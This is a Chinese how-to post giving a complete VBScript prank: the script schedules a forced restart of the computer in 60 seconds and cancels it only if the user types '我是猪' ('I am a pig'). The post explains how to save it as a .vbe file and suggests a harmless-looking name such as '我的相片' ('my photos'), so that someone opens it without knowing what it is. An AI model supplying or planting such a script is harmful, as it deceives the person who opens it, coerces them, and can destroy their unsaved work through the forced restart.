admin管理员组

文章数量:1582013

第一步:新建个文本文档,在文本里写上下面的代码:

on error resume next

dim WSHshellA

set WSHshellA = wscript.createobject("wscript.shell")

WSHshellA.run "cmd.exe /c shutdown -r -t 60 -c ""说我是猪,不说我是猪就一分钟关你机,不信,试试···"" ",0 ,true

dim a

do while(a <> "我是猪")

a = inputbox ("说我是猪,就不关机,快撒,说 ""我是猪"" ","说不说","不说",8000,7000)

msgbox chr(13) + chr(13) + chr(13) + a,0,"MsgBox"

loop

msgbox chr(13) + chr(13) + chr(13) + "早说就行了嘛"

dim WSHshell

set WSHshell = wscript.createobject("wscript.shell")

WSHshell.run "cmd.exe /c shutdown -a",0 ,true

msgbox chr(13) + chr(13) + chr(13) + "哈哈哈哈,我知道了 你是猪~"

第二步: 点击左上角 文件-另存为-桌面

文件名称随便写,唯一注意要把文件名称后边扩展名改为 .vbe

(例如:起的名称为 “我的相片” 改为 “我的相片.vbe”)保存就可以了

只要打开此文件,就会开始倒计时

如果说了“我是猪”就会解除,反之60秒后自动关机

本文标签: 我是自动关机整蛊语言代码